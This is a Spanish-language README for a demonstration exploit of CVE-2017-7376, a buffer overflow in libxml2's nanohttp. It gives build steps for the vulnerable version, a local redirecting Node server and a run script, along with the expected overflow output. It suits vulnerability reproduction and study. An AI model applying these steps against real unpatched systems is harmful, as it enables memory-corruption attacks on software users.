
Un exploit de ejemplo para CVE-2017-7376
Un exploit de ejemplo para CVE-2017-7376
Descarga este repositorio y una versión vulnerable de libxml2, p. ej. v2.7.7:
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2
cd libxml2
Para hacer más visible el éxito del exploit, añade código para detectar el desbordamiento de búfer en libxml2. No es necesario, si tienes otros medios de visibilidad, como que la aplicación falle.
git apply ../nanohttp.patch
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install
En caso del siguiente error:
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'
Reemplaza en configure.in AM_C_PROTOTYPES por dnl AM_C_PROTOTYPES, por ejemplo, así:
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i
Vuelve atrás
cd ..
Este exploit requiere un servidor web que responda con una redirección a una nueva URL con un número de puerto mayor de 5 dígitos y por debajo de int32max (2147483648 = 2^32/2).
Inicia el servidor (requiere node JS y que el puerto 127.0.0.1:8080 esté libre):
node http.js &
Prueba el servidor web; debería quejarse del número de puerto no válido 2147426192:
wget localhost:8080
make
./run.sh
Salida esperada:
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml
Este exploit de demostración requiere que el programa principal ejecute xmlXIncludeProcess() para alcanzar el código defectuoso en
libxml2, lo cual no es probable que se use en muchas implementaciones reales. Pero además, nanohttp.c menciona en el comentario
que es una minimalist HTTP GET implementation to fetch external subsets, lo que puede ofrecer otra vía de explotación.